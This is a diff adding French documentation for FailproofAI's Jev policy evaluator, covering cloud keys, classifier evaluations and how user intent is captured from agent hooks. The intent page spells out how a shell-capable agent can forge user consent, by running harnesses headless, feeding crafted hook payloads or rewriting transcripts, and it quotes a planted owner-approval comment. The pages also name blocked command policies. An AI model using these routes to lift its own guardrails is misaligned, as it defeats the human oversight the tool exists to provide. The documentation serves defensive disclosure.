+La machine envoie déjà son activité de hook à FailproofAI Cloud (`events:add`). Avec Jev activé, l'enregistrement de chaque appel soumis à contrôle indique également quel évaluateur a tourné, ce que Jev a décidé, quelles politiques il a levées, pourquoi il est revenu en arrière le cas échéant, sa latence et le modèle qui a répondu — décisions, codes et noms, jamais la commande ni votre invite. Sur la page **Policies** de votre organisation :
+
+- un appel dont le résultat a été décidé par le verdict propre de Jev (mode enforce) est attribué à **Jev**, et lorsque la vérification déterminante provient d'un pack, l'enregistrement nomme également ce pack et sa version ;
+- en mode observe, le refus ou l'avertissement de Jev apparaît comme **would-have**, à côté des déploiements que vous observez ;
+- les politiques que Jev a levées, ou aurait levées en mode observe, sont comptabilisées par politique.
+
+## Quand Jev ne peut pas répondre
+
+Chacun de ces cas revient au résultat de vos politiques pour cet appel, et est enregistré avec sa raison :
+
+| Raison | Cause |
+| --- | --- |
+| `out-of-credits` | Votre organisation a épuisé l'allocation de son plan. |
+| `http-401`, `http-403` | La clé a été révoquée, ou ne porte pas `jev:evaluate`. Reconnectez-vous avec une clé qui le porte. |
+| `http-429` | FailproofAI Cloud limite le débit de Jev pour votre organisation. Jusqu'à la fin du délai demandé (son `Retry-After`, au maximum 60 secondes), la machine ne lui envoie rien et chaque appel revient immédiatement en arrière. Les appels retenus de cette façon sont enregistrés comme `http-429`, ou comme `rate-limited` lorsque la limite de débit propre à la machine les retient en premier. |
+| `http-429` (limite quotidienne) | Votre organisation a utilisé ses appels Jev quotidiens : **10 000 par jour UTC**, sauf si l'opérateur de votre FailproofAI Cloud a défini une autre limite. Chaque appel revient en arrière jusqu'à la réinitialisation du compteur à 00:00 UTC ; la machine redemande néanmoins au plus une fois par minute, donc elle détecte la réinitialisation en moins d'une minute. `failproofai jev test` affiche « Daily Jev limit for this org reached; resets at 00:00 UTC. » |
+| `http-422` | Jev a refusé la requête de cet appel, généralement parce que l'appel d'outil contenait du texte dense (base64, hexadécimal, code minifié) dépassant le budget de tokens de Jev. Cet appel revient en arrière à chaque fois ; ce n'est pas une panne. |
+| `http-502` | Jev est actuellement indisponible. |
+| `http-503` | Ce Cloud ne peut pas servir Jev pour votre organisation : pas de passerelle de modèle, une organisation pas encore provisionnée, ou la passerelle est hors service. Contactez votre administrateur ; les hooks redemandent au plus une fois par minute. |
+| `http-404` | Ce FailproofAI Cloud ne sert pas encore Jev. |
+| `timeout` | Aucune réponse dans le délai `timeoutMs` (3000 par défaut). |
+| `model-mismatch` | Une version de Jev autre que 1.13 a répondu. |
+
+## Où vit la clé et où elle va
+
+- La clé est stockée une seule fois, dans `~/.failproofai/credentials.json` (`0600`, dans un répertoire réservé au propriétaire), aux côtés des autres identifiants FailproofAI Cloud. `jev.json` ne contient aucune clé pour cette route ; une clé écrite là rend la configuration invalide.
+- Si `credentials.json` accorde **une quelconque** permission à quelqu'un d'autre que vous (groupe ou autre, lecture ou écriture), ou si son répertoire peut être **écrit** par quelqu'un d'autre que vous, il est **refusé**, non lu, et Jev est désactivé jusqu'à ce que vous corrigiez cela : `chmod 600` sur le fichier, `chmod 700` sur le répertoire (ou reconnectez-vous, ce qui réécrit le fichier en `0600` et rend le répertoire réservé au propriétaire). Un répertoire que d'autres peuvent seulement lire est acceptable ; un répertoire qu'ils peuvent écrire leur permet de substituer le fichier.
+- La clé ne compte que tant que la connexion avec laquelle elle est arrivée est présente sur la machine : un identifiant de politique ou de rapport pour le même FailproofAI Cloud **avec la même clé**, dans le même fichier. Une clé Jev laissée sans l'une d'elles est ignorée, et Jev reste désactivé. Cela se produit lorsque la commande `config --disconnect` d'une ancienne version de failproofai laisse la clé Jev en place (elle ne sait pas qu'il faut la supprimer), ou lorsque la commande `config --token` d'une ancienne version de failproofai se connecte avec une autre clé, qui sur FailproofAI Cloud peut appartenir à une autre organisation. Pour réactiver Jev, connectez-vous à nouveau avec une clé **machine**.
+- La clé n'est envoyée qu'à l'origine Cloud contre laquelle elle a été vérifiée. Un `jev.json` pointant ailleurs est refusé.
+- **Un agent sur la machine peut la lire.** `credentials.json` est réservé au propriétaire, et l'agent s'exécute en tant que ce propriétaire. La lecture des fichiers propres à failproofai est autorisée intentionnellement (seule leur modification est bloquée, par `block-failproofai-commands`), donc la seule protection entre un agent et ce fichier est `block-read-outside-cwd` — une politique *révisable* — et depuis une session démarrée dans votre répertoire personnel, rien. Une clé avec `jev:evaluate` dépense l'allocation Jev de votre organisation (jusqu'au plafond quotidien) depuis où qu'elle soit utilisée, donc traitez une clé machine comme tout autre identifiant de dépense : si un agent a pu la lire, désactivez-la sur la page Clés et reconnectez-vous avec une nouvelle.
+- Seuls vos fichiers globaux décident de cela. Un dépôt ne peut pas activer Cloud Jev, le pointer ailleurs ni fournir sa clé, et `FAILPROOFAI_JEV_API_KEY` est ignoré pour cette route.
+- Pour chaque appel évalué par Jev, une requête est envoyée à FailproofAI Cloud, contenant ce que la [page bring-your-own-key](/fr/reference/jev-providers#what-leaves-the-machine) liste (secrets expurgés). FailproofAI Cloud la transmet à TypeSafe et ne la journalise ni ne la conserve.
+
+## Désactivation
+
+| Commande | Résultat |
+| --- | --- |
+| `failproofai jev setup --mode off` | Conserve la configuration ; Jev n'est pas interrogé. **C'est le commutateur qui persiste :** une nouvelle connexion ne réécrit jamais un `jev.json` existant, donc Jev reste désactivé jusqu'à ce que vous le réactiviez avec `--mode observe`. |
+| `failproofai jev remove` | Supprime `~/.failproofai/jev.json` ; Jev est désactivé — jusqu'à la prochaine commande `failproofai config --token` avec une clé portant `jev:evaluate`, qui ne trouvant pas de `jev.json` réactive Jev en mode observe (sauf si elle s'exécute avec `--no-transcripts`). Pour le maintenir désactivé, utilisez `--mode off`. |
+| `failproofai config --disconnect` | Déconnecte la machine : la clé est supprimée, ainsi que `jev.json` lorsqu'il désigne FailproofAI Cloud et n'est pas désactivé. Un `jev.json` pour votre propre point de terminaison est conservé, de même qu'un `jev.json` désactivé, donc Jev reste désactivé lorsque vous vous reconnectez. |
+
+Dès l'appel d'outil suivant, les hooks exécutent les politiques regex exactement comme avant.
\ No newline at end of file
diff --git a/docs/fr/reference/jev-evaluations.mdx b/docs/fr/reference/jev-evaluations.mdx
new file mode 100644
index 000000000..dbcb4d42a
--- /dev/null
+++ b/docs/fr/reference/jev-evaluations.mdx
@@ -0,0 +1,88 @@
+---
+title: "Référence d'évaluation Jev"
+description: "Types de questions, scores calibrés, limites et remplissage rétroactif pour les évaluations de session Jev."
+icon: "list-checks"
+---
+
+Cette page décrit les formes de questions et les règles de notation qui sous-tendent les [évaluations Jev](/fr/evaluations/jev). Certaines questions nécessitent qu'un modèle *lise* la conversation, mais pas qu'il *écrive* à son sujet. « Le client a-t-il exprimé une urgence ? » admet deux réponses. « À quel point était-il frustré ? » en admet quelques-unes, dans un ordre précis. Vous connaissez toutes les réponses avant même de poser la question.
+
+Une **évaluation par classificateur** est faite exactement pour ces cas. Vous rédigez la question et les réponses possibles, et un petit modèle conçu pour la classification renvoie un nombre calibré — jamais du texte libre.
+
+
+Comme un juge, une évaluation par classificateur coûte un appel de modèle par session. Contrairement à un juge, il s'agit d'un petit modèle dédié à une seule tâche plutôt qu'un modèle généraliste — ce qui le rend plus rapide et moins coûteux —, mais il ne s'expliquera jamais. Si vous avez besoin du raisonnement, utilisez un [juge](/fr/evaluations/judge).
+
+
+## Lequel choisir ?
+
+| Question | À utiliser |
+| --- | --- |
+| Combien d'appels d'outils y a-t-il eu ? | code |
+| La session a-t-elle duré moins de 30 secondes ? | code |
+| Le client a-t-il exprimé une urgence ? | **classificateur** |
+| Quelle équipe devrait gérer ceci : facturation, technique ou ventes ? | **classificateur** |
+| À quel point le client était-il frustré ? | **classificateur** |
+| La réponse était-elle vraiment correcte ? | **juge** |
+| A-t-il suivi notre politique d'escalade, et pourquoi pensez-vous cela ? | **juge** |
+
+La règle empirique : **dénombrable → code, réponses listables → classificateur, nécessite une explication → juge.**
+
+Vous n'avez pas à décider à l'avance. Décrivez ce que vous voulez mesurer et l'assistant choisit, vous indique ce qu'il a choisi et pourquoi, et vous pouvez changer d'avis.
+
+## Les deux types de questions
+
+### `noul` — est-ce vrai ?
+
+Deux réponses, et vous décrivez les deux. Le résultat est la probabilité que la description « vraie » corresponde :
+
+```json
+{
+ "instructions": "Did the assistant promise a refund without first checking the refund policy?",
+ "criteria": {
+ "true": "A refund was promised or issued with no prior policy check or approval",
+ "false": "No refund was promised, or every refund followed a policy check"
+ }
+}
+```
+
+Décrivez les deux côtés. « Aucune urgence exprimée » est une vraie réponse, et la préciser rend l'autre plus nette.
+
+### `score` — dans quelle mesure ?
+
+Un barème ordonné, **du pire au meilleur**. Le résultat indique où la session se situe sur ce barème, remis à l'échelle de 0 à 1 :
+
+```json
+{
+ "instructions": "How frustrated is the customer?",
+ "criteria": ["Calm", "Frustrated", "Very angry"]
+}
+```
+
+**Un barème comporte de trois à cinq niveaux, tous distincts.** Les deux limites sont mesurées, pas stylistiques :
+
+- **Deux niveaux** revient à faire ce que `noul` fait déjà mieux, et **plus de cinq** pousse le modèle à se réfugier vers le centre au lieu de trancher. La même question sur la même session a obtenu 0,00 avec deux niveaux, 0,01 avec trois, et 0,55 avec dix.
+- **Des niveaux répétés** divisent arbitrairement la réponse entre eux. Une session indéniablement en colère a obtenu 1,00 avec `["Calm", "Frustrated", "Very angry"]` et 0,66 avec `["Angry", "Angry", "Angry"]` — un nombre bien formé qui ne signifie rien.
+
+Les catégories sans ordre — « facturation, technique ou ventes » — ne constituent pas un barème. Posez-les comme une question `noul` par catégorie, ou utilisez un juge.
+
+## Interprétation des résultats
+
+Un classificateur produit un **score** de 0 à 1, exactement comme un juge, et il apparaît dans les graphiques, les filtres et les alertes de la même façon. Deux différences méritent d'être notées :
+
+- **Il n'y a pas de raisonnement.** Le champ est vide, délibérément. Ce modèle ne s'explique pas, et inventer une explication serait une fabrication plutôt qu'une fonctionnalité.
+- **L'incertitude est étiquetée.** Une question de type `score` rapporte sa propre confiance, et un résultat sur lequel le modèle était incertain est marqué `low_confidence` — ainsi, « lesquels devraient être examinés par un humain » est un filtre, pas une supposition. Une question de type `noul` ne rapporte pas la confiance, donc elle n'est jamais étiquetée.
+
+Les sessions très longues sont lues par extraits et combinées. Quand une session est trop longue pour être lue en entier, le résultat indique combien de tours ont été omis — vous ne verrez jamais un jugement rendu sur une partie d'une session présenté comme s'il portait sur la totalité.
+
+## Limites
+
+- **De trois à cinq niveaux de barème, tous distincts.** Voir ci-dessus ; les deux bornes sont vérifiées au moment de la rédaction.
+- **Une seule question par évaluation.** Posez deux questions et vous obtenez deux évaluations, ce qui est aussi ce que vous souhaitez sur un graphique.
+- **Modifier la question publie une nouvelle version.** Les anciens et nouveaux scores ne sont pas comparables, ils sont donc conservés séparément plutôt que mélangés dans une même courbe de tendance.
+- **Un classificateur produit toujours un score**, jamais une métrique ni une assertion.
+- **Pas de raisonnement**, comme indiqué ci-dessus. Si un nombre amènera quelqu'un à demander « pourquoi ? », rédigez plutôt un juge.
+
+## Tests et remplissage rétroactif
+
+Contrairement à un juge, une évaluation par classificateur **peut** être testée avant son déploiement — [testez-la](/fr/evaluations/test) sur de vraies sessions de la même manière que vous le feriez pour une évaluation par code, et consultez les scores avant toute mise en production.
+
+Elle peut également être [appliquée rétroactivement](/fr/evaluations/deploy#score-sessions-you-already-have) aux sessions déjà existantes. Cela coûte un appel de modèle par session, alors délimitez la fenêtre temporelle délibérément plutôt que de tout rejouer.
\ No newline at end of file
diff --git a/docs/fr/reference/jev-intent.mdx b/docs/fr/reference/jev-intent.mdx
new file mode 100644
index 000000000..190cad6f0
--- /dev/null
+++ b/docs/fr/reference/jev-intent.mdx
@@ -0,0 +1,112 @@
+---
+title: "Capture d'intention Jev"
+description: "Quels événements harness indiquent à l'évaluateur Jev ce que l'utilisateur a demandé, quel champ contient le texte, ce qui n'est jamais comptabilisé, et le risque lié à la confiance accordée à un prompt fourni par le harness."
+icon: "message-square-quote"
+---
+
+Lorsque vous configurez la [revue de politique Jev](/fr/policies/jev), l'évaluateur juge chaque appel d'outil contrôlé en fonction de **ce que l'utilisateur a demandé**, et non du texte que le harness a soumis à l'agent. Une réponse telle que « oui, force-push-le » peut lever une politique **reviewable** — c'est précisément l'objet de l'évaluateur, puisqu'une regex incapable de lire la requête bloque un tiers des tâches réelles.
+
+Ce texte provient d'un seul endroit : **le prompt que le harness lui-même transmet au hook lors de son événement de soumission de prompt**. Failproof AI enregistre la partie tapée par l'utilisateur — habillage harness supprimé, secrets expurgés, taille limitée — dans un fichier `0600` dans son propre répertoire d'état. Rien sur le disque n'est consulté : la transcription de session est un fichier que l'agent peut réécrire en une seule commande, aussi on ne lui demande jamais qui a rédigé un prompt.
+
+## Le risque accepté, clairement exposé
+
+Un agent qui peut déjà exécuter des commandes peut faire soumettre un prompt à un harness. `claude -p "…"`, `codex exec`, `copilot -p`, `cursor-agent -p`, `devin -p`, `droid -p`, `goose run -t` et `pi -p` déclenchent tous le même événement de soumission de prompt, avec le même payload, qu'une personne en train de taper, dans une session enfant que cet agent contrôle. L'agent peut également exécuter le binaire hook propre à Failproof AI et lui fournir un payload qu'il a lui-même rédigé. Rien dans Failproof AI ne peut distinguer l'un de l'autre du cas réel — les deux sont le même programme lisant le même stdin.
+
+**Ainsi, un agent disposant d'un shell peut forger son propre consentement.** Il s'agit d'un compromis délibéré, acté le 23 septembre 2026, dont voici les deux facettes :
+
+- **Ce que cela apporte.** L'alternative a été construite et mesurée : exiger un champ dans lequel le harness désigne un humain comme auteur du prompt, et ne rien enregistrer sinon. Aucun harness livré ne transmet un tel champ, si bien que cette version n'enregistrait **rien, sur chaque harness** — Jev jugeait chaque appel sans intention déclarée et ne pouvait jamais lever une seule politique. Une capture qui ne se déclenche jamais n'est pas un produit plus sûr, c'est un non-produit.
+- **Ce que cela ne peut pas faire.** Un prompt enregistré ne peut lever qu'une politique marquée **reviewable**. Une politique **hard** n'est jamais levée par quoi que ce soit que Jev déclare, donc un prompt forgé ne peut jamais transformer un deny hard en allow — et contourner le hook ne rapporte rien à l'agent non plus : le harness invoque Failproof AI pour l'appel d'outil de manière indépendante.
+- **Ce que cela peut faire, à pleine échelle.** Le pire qu'il puisse faire est de lever l'une des quinze politiques intégrées reviewable — et **douze de ces quinze bloquent**. `protect-env-vars`, `block-env-files`, `block-read-outside-cwd`, `block-rm-rf`, `block-force-push`, `block-secrets-write` et les six blocs CLI d'infrastructure (`block-kubectl`, `block-terraform`, `block-aws-cli`, `block-gcloud`, `block-az-cli`, `block-helm`) sont des denies, donc un consentement forgé peut transformer un deny réel en allow pour l'impression des secrets d'environnement, la lecture d'un fichier `.env`, la lecture hors du projet, `rm -rf`, un force-push, l'écriture d'un fichier de secrets, ou la modification d'une infrastructure en production. Seuls `warn-git-amend`, `warn-destructive-sql` et `warn-global-package-install` sont des avertissements. Une installation par défaut active deux des douze : `protect-env-vars` et `block-env-files` ; les dix autres ne s'appliquent qu'à une machine où quelqu'un les a activés. Ce qu'aucun prompt n'atteint, c'est tout ce qui est hard — `block-sudo`, `block-curl-pipe-sh`, `block-push-master`, `block-work-on-main`, le garde-fou qui empêche un agent de désactiver Failproof AI, et chaque autre intégré non marqué reviewable. [L'autorité de politique](/fr/policies/authority) liste les quinze politiques et ce par quoi chacune est revue.
+
+Ce qui est toujours refusé est tout ce qui est facile à vérifier et qu'un agent ne peut pas obtenir simplement en demandant : un tour que le payload du harness lui-même marque comme soumis par une machine, un payload désignant un sous-agent, un identifiant de session qui n'est pas un nom simple, un événement qui n'est pas l'événement de soumission de prompt, et un texte qui ne contient que de l'habillage harness — y compris les mots de stop-gate propres à Failproof AI, que plusieurs harnesses renvoient comme prochain tour utilisateur.
+
+## Tableau par harness
+
+« Champ texte » désigne le champ du payload stdin après la normalisation par harness effectuée par Failproof AI. « Enregistré » indique si le prompt est conservé comme requête de l'utilisateur.
+
+| Harness | `--cli` | Événement prompt → canonique | Champ texte | Enregistré | Dernier message de l'agent lu depuis |
+| --- | --- | --- | --- | --- | --- |
+| Claude Code | `claude` | `UserPromptSubmit` | `prompt` | Oui, sauf si le `source` du payload désigne un tour que personne n'a soumis (`loop_wakeup`, `schedule_wakeup`, `poll_event`, `system`). `user`, `sdk`, une valeur inconnue et un build qui n'envoie pas de `source` du tout sont tous enregistrés | la transcription de session (`transcript_path`) |
+| Codex | `codex` | `user_prompt_submit` → `UserPromptSubmit` | `prompt` | Oui | le JSONL de rollout (`agent_message`, `AgentMessage`) |
+| GitHub Copilot CLI | `copilot` | `UserPromptSubmit` | `prompt` | Oui | `events.jsonl` (`assistant.message`) |
+| Cursor | `cursor` | `beforeSubmitPrompt` → `UserPromptSubmit` | `prompt` | Oui, avec le wrapper `` retiré quand il constitue l'intégralité du prompt | le JSONL de transcription agent |
+| OpenCode | `opencode` | `message.updated` (rôle user) → `UserPromptSubmit` | `prompt` | Oui — mais OpenCode actuel ne transporte aucun texte dans cet événement, donc en pratique rien n'est enregistré ; la répétition d'un même message est enregistrée une seule fois | aucun (les sessions sont SQLite) |
+| Pi | `pi` | `input` → `UserPromptSubmit` | `prompt` | Oui, sauf si `input_source` vaut `extension` — le `sendUserMessage()` d'une autre extension, dont le texte peut être généré par le modèle ou dérivé du dépôt | le JSONL de session Pi |
+| Hermes | `hermes` | aucun | — | Non — Hermes n'a aucun événement de soumission de prompt | — |
+| OpenClaw | `openclaw` | `before_agent_run` → `UserPromptSubmit` | `prompt` | Oui, sauf si les métadonnées du run marquent le run comme étant celui d'une machine : un `trigger` autre que `user`, un `inputProvenance.kind` autre que `external_user`, ou `senderIsOwner: false` | aucun (`before_agent_run` ne transporte pas de chemin de transcription) |
+| Factory Droid | `factory` | `UserPromptSubmit` | `prompt` | Oui | le JSONL de session droid |
+| Devin CLI | `devin` | `UserPromptSubmit` | `prompt` | Oui | aucun (les sessions sont SQLite) |
+| Antigravity CLI | `antigravity` | `PreInvocation` → `UserPromptSubmit` | aucun | Non — `PreInvocation` se déclenche avant *chaque* appel de modèle dans un tour et ne transporte aucun texte de prompt | — |
+| Goose | `goose` | `UserPromptSubmit` | `message` | Oui | aucun (les sessions sont SQLite) |
+
+Deux harnesses n'enregistrent rien, et pour la même raison dans les deux cas : leur événement ne transmet aucun texte humain. Hermes n'a pas d'événement de soumission de prompt — son plugin natif gère lui-même `pre_llm_call` et ne transmet que des événements d'outil, de session et de sous-agent. Le `PreInvocation` d'Antigravity se déclenche avant chaque appel de modèle, lors d'un tour humain comme lors des cinq qui suivent, et ne porte aucun champ prompt ; les hooks peuvent également injecter des étapes `userMessage` dans la même conversation. Il n'y a rien dans ces événements à enregistrer.
+
+## Ce qui fait qu'un prompt est celui de l'utilisateur
+
+1. **L'événement.** Failproof AI a été invoqué pour l'événement de soumission de prompt du harness, que le gestionnaire canonicalise en `UserPromptSubmit`.
+2. **Le payload.** Le harness l'écrit sur le stdin du hook, et il transporte le texte dans le champ nommé ci-dessus. Un appel qui atteint Failproof AI sans le payload n'enregistre rien.
+3. **Rien dans le payload n'exclut le tour.** Un payload qui désigne un sous-agent (`agent_id`) représente l'agent qui se prompt lui-même. Un `source`, `input_source` ou marqueur de run OpenClaw désignant un tour soumis par une machine est refusé. Un marqueur **absent** n'exclut rien — c'est là toute la différence avec la version qui n'enregistrait rien, puisque chaque marqueur ici est absent sur chaque build livré.
+4. **Il reste quelque chose après suppression de l'habillage** (voir ci-dessous).
+
+**La transcription de session n'est pas une preuve de qui a rédigé un prompt.** Les versions précédentes de cette page décrivaient une vérification croisée avec la transcription : le prompt était refusé si la transcription montrait que le modèle l'avait planifié, et la transcription devait être la suite de celle vue lors du prompt précédent. Cette vérification a été supprimée. Une transcription est un fichier sur lequel l'agent dispose déjà d'un shell — elle peut être tronquée, remplacée, rembourée au-delà du budget de lecture, snapshotée au début d'un tour et restaurée à la fin, ou rendue cohérente avec des entrées que l'agent a rédigées. Chaque cycle de renforcement était suivi d'une nouvelle variante du même faux, de sorte que l'ensemble du mécanisme a été supprimé plutôt que réparé.
+
+La transcription est toujours lue pour une seule chose : **le dernier message visible de l'agent**. Ce message est, par définition, rédigé par l'agent, Jev en est informé, et il ne constitue jamais un consentement en lui-même.
+
+## Ce qui est conservé d'un prompt
+
+Les harnesses mettent bien plus que les mots de l'utilisateur dans un prompt. Avant tout enregistrement :
+
+- Les blocs `` sont supprimés, et les mots de l'utilisateur autour d'eux sont conservés.
+- Un résumé de continuation de session (« Cette session est la continuation d'une conversation précédente… ») est entièrement supprimé.
+- Les notifications de tâche, les sorties de commandes locales et les marqueurs d'interruption sont entièrement supprimés.
+- Un tour rédigé par un autre agent ou une autre session est entièrement supprimé : Claude Code les enveloppe dans ``, ``, ``, `` ou ``.
+- Les propres messages de Failproof AI sont entièrement supprimés. Un `MANDATORY ACTION REQUIRED from failproofai …` d'une stop gate ou un `Instruction from failproofai: …` revient comme prochain tour utilisateur sur Cursor, Copilot, Devin et OpenClaw, et ne compte jamais comme les mots de l'utilisateur — ni en texte brut, ni encapsulé dans un bloc ``, ni derrière un rappel système.
+- Une commande slash est conservée telle que l'utilisateur l'a tapée (commande et arguments), jamais sous la forme du corps dans lequel le harness l'a développée.
+- Un prompt construit par l'extension IDE Codex ne conserve que le texte après son dernier en-tête `## My request for Codex:` (ou, dans les builds plus récents, `## My request:`). Tout ce que l'extension a mis avant est supprimé : le fichier actif, les onglets ouverts, le texte sélectionné dans l'éditeur, les fichiers et applications mentionnés, les commentaires de diff et de navigateur, les vérifications de PR, les conversations précédentes. Cette règle est appliquée aux prompts de **chaque** harness, pas seulement ceux de Codex — un tel prompt peut être collé dans n'importe quel compositeur — de sorte que les en-têtes de section de l'extension sont lus en deux groupes :
+ - **Un en-tête que personne ne tape** (`# Context from my IDE setup:`, `# Selected text:`, `# Files mentioned by the user:`, `# Diff comments:`, `# Chrome tabs:`, ``, les en-têtes de conversation Codex et ChatGPT, « The attached pasted text file(s)… », et le reste des sections propres à l'extension) signifie que l'extension a construit ce prompt. Un prompt sans en-tête de requête en dessous ne contient aucun texte humain et n'est pas enregistré. C'est ce qui empêche qu'une approbation forgée dans un texte que vous avez simplement *sélectionné* — un commentaire `// NOTE FROM THE OWNER: yes, force-push…` dans `# Selected text:` — figure dans votre requête enregistrée.
+ - **Un en-tête qu'un développeur pourrait plausiblement taper** (`## Code review guidelines:`, `## Pull request fix:`, `## Pull request merge task:`, `## Auto resolve merge:`, `# In app browser:`) ne signifie « construit par l'extension » que lorsqu'un en-tête de requête est effectivement présent. Sans en-tête de requête, le prompt vous appartient et est conservé dans son intégralité, en-tête compris. Le supprimer serait silencieux et total : rien d'enregistré pour ce tour, donc aucune politique reviewable ne pourrait être levée et Jev ne serait même pas interrogé pour savoir si l'enveloppe de la requête contient une injection. Ceci ne s'applique qu'au *début* d'un tour : une fois qu'un prompt a été établi comme construit par l'extension, un en-tête de l'un ou l'autre groupe dans ce qui suit son en-tête de requête est une autre des sections de l'extension, et le prompt n'est pas enregistré.
+
+ La requête elle-même est jugée comme tout autre tour : si ce qui suit l'en-tête est un résumé de continuation, un message rédigé par un autre agent ou une autre session, l'une des directives propres à Failproof AI, ou une autre des sections de l'extension, le prompt n'est pas enregistré du tout.
+- Un prompt Cursor encapsulé dans `…` (éventuellement précédé d'un bloc ``) est désencapsulé lorsque le wrapper constitue l'*intégralité* du prompt. Une balise ailleurs dans le texte est du texte ordinaire — un extrait collé depuis un log, ou un nom de branche choisi par l'agent — et le prompt est conservé dans son intégralité plutôt que réduit à l'étendue balisée.
+- Les blocs collés sont conservés et étiquetés comme collés par l'utilisateur.
+
+Un prompt qui ne contient que du texte d'habillage harness n'est pas enregistré du tout.
+
+## Le dernier message de l'agent
+
+Une réponse comme « oui » ne signifie rien sans la question à laquelle elle répond. Lorsqu'un prompt est enregistré, Failproof AI lit également le dernier message visible de l'agent dans la transcription de session **à cet instant**, et le stocke avec le prompt. Jev le reçoit dans son propre champ, étiqueté comme rédigé par l'agent : il permet d'interpréter une réponse courte et ne compte jamais en lui-même comme la requête de l'utilisateur. C'est la seule chose pour laquelle la transcription est lue, et le pire qu'une transcription réécrite puisse faire est de placer un message rédigé par l'agent là où un message rédigé par l'agent est attendu.
+
+Il est lu depuis la fin de la transcription, au maximum les 4 derniers Mo. Les formats de transcription pris en charge sont Claude Code, les rollouts Codex (anciens événements `agent_message` et nouveaux éléments `AgentMessage`), Cursor, Copilot `events.jsonl`, ainsi que les JSONL de session Pi, Factory et OpenClaw. Les messages synthétiques et d'erreur API propres à Claude Code, ainsi que les messages de sous-agent (sidechain), sont ignorés. Il n'y a pas de snapshot pour Goose et OpenCode, qui conservent les sessions en SQLite, pour Devin, dont la transcription est un unique document JSON, ni pour OpenClaw, dont l'événement `before_agent_run` ne transporte pas de chemin de transcription.
+
+## Stockage
+
+| Propriété | Valeur |
+| --- | --- |
+| Emplacement | `~/.failproofai/state/semantic/sessions/.json` |
+| Permissions | fichier `0600`, répertoire `0700`. Chaque répertoire au-dessus, jusqu'à `~/.failproofai`, est soumis à la même règle que le répertoire de `jev.json` : un répertoire sur lequel un autre utilisateur peut **écrire** peut être renommé et remplacé ; le chemin de lecture retire donc ces bits d'écriture là où il le peut, et ne lit **rien** là où il ne le peut pas. Un prompt enregistré sera alors absent plutôt que forgé, et rien ne sera levé |
+| Conservé par session | les 5 derniers prompts ; un prompt identique au précédent le remplace plutôt que d'occuper un nouvel emplacement |
+| Fenêtre temporelle | les prompts de plus de 6 heures sont ignorés |
+| Taille | chaque prompt et message d'agent est limité à 6 000 caractères, en conservant le début et la fin |
+| Secrets | expurgés avec les mêmes patterns que les politiques `sanitize-*` avant tout enregistrement. Un texte de plus de 48 000 caractères est expurgé sous la forme de ses 28 800 premiers et 19 200 derniers caractères, et le texte adjacent aux coupures, où un secret aurait pu être scindé, n'est jamais stocké |
+
+Un identifiant de session contenant autre chose que des lettres, des chiffres, `.`, `_` et `-`, ou de plus de 128 caractères, n'est jamais utilisé comme nom de fichier, donc rien n'est enregistré pour lui.
+
+Un fichier de session n'existe qu'une fois qu'un prompt y a été enregistré. Il contient uniquement des prompts — aucun état d'origine, aucune marque de transcription — et il est supprimé une fois qu'il est resté silencieux plus longtemps que la fenêtre de six heures, lors de la prochaine écriture du premier prompt d'une nouvelle session.
+
+Rien n'est enregistré si aucun endpoint Jev n'est configuré.
+
+### La racine du projet
+
+« Dans le projet » — ce que `read-outside-workspace` et les autres vérifications de chemin jugent — désigne l'intérieur du projet dans lequel se trouvait la session lors de son **premier appel contrôlé**. La racine est fixée à ce moment-là et un `cd` ultérieur ne la déplace jamais ; un `cd` change toujours la façon dont un chemin relatif est résolu. Laisser la racine suivre le `cd` permettrait à `cd ~/.ssh` dans un appel de faire de `~/.ssh` le projet pour l'appel suivant.
+
+L'épingle est `~/.failproofai/state/semantic/roots/.json`, contenant `{root, at}` : fichier `0600`, répertoire `0700`, et la même règle d'identifiant de session que ci-dessus. Les fichiers de plus de 7 jours sont supprimés lorsqu'une nouvelle session fixe sa racine. Un répertoire `roots` sur lequel d'autres utilisateurs peuvent écrire est ignoré, et la racine du répertoire en cours est utilisée à la place. Pour réinitialiser l'épingle d'une session, supprimez son fichier.
+
+## Limitations connues
+
+- **Un prompt n'est fiable qu'à la mesure de l'invocation du hook.** Tout ce qui est décrit ici lit le payload que le harness a écrit sur le stdin du hook. Un agent capable d'exécuter des commandes peut exécuter le harness en mode headless (`claude -p` et les sept autres listés ci-dessus) ou exécuter lui-même le binaire hook de Failproof AI avec un payload qu'il a rédigé, et enregistrer un prompt que personne n'a tapé. C'est le compromis accepté décrit en haut de cette page : il ne lève que des politiques reviewable, jamais une politique hard — mais douze des quinze intégrées reviewable sont des denies, donc un prompt forgé peut transformer un vrai blocage en allow pour ces douze-là.
+- **La détection de sous-agent est façonnée pour Claude.** Un payload portant `agent_id` n'est jamais enregistré, quel que soit le harness. C'est le champ qu'utiliseraient Claude Code, Factory Droid et Devin. Codex déclenche son événement prompt dans les threads de sous-agents, Copilot exécute des sidekicks en processus, Goose dispose d'un outil `delegate` et OpenClaw exécute des personas — aucun d'eux ne marque le payload d'une façon reconnue ici, donc un prompt de sous-agent sur ces harnesses est enregistré comme appartenant à la session. Le champ `openclaw.agentId` d'OpenClaw **n'est pas** cette marque : le plugin livré le définit sur chaque exécution, y compris celle du propriétaire.
+- **Des planificateurs qui ne portent aucun marqueur.** Les `schedule_wakeup` et `loop_wakeup` de Claude Code, ainsi que les triggers `cron` et `heartbeat` d'OpenClaw, sont refusés parce que ces harnesses le précisent dans le payload. Le planificateur natif de Goose (`goose schedule add`) et le `codex exec` de Codex ne disent rien, donc une exécution qu'ils démarrent est enregistrée comme n'importe quelle autre.
+- **Le dernier message d'un agent peut être un message que l'agent a choisi.** La transcription n'est pas authentifiée, donc un agent qui rédige sa propre transcription peut décider de ce que dit son « dernier message ». Il est étiqueté comme rédigé par l'agent et ne lève rien par lui-même — notez toutefois que le chemin v1 de `decide.ts` lui permet de satisfaire la vérification déterministe « l'utilisateur a-t-il nommé cette cible », de sorte qu'un agent qui contrôle sa transcription peut fournir un nom de cible dont un override a besoin.
+- **Un prompt qui commence par l'un des en-têtes machine de l'extension est entièrement supprimé.** Commencez un prompt par `# Selected text:`, `# Diff comments:`, `# Chrome tabs:` ou un autre en-tête de section du premier groupe ci-dessus, et ne rédigez jamais d'en-tête `## My request:`, et rien n'est enregistré pour ce tour — donc rien n'est levé pour lui non plus. C'est délibéré : ces sections contiennent du texte que quelqu'un d'autre contrôle (du code que vous avez sélectionné, le commentaire de diff d'un relecteur, un titre de page), et enregistrer cela comme vos mots serait la pire erreur. Les en-têtes qu'un développeur pourrait plausiblement taper se trouvent dans le second groupe et ne suppriment jamais un prompt par eux-mêmes.
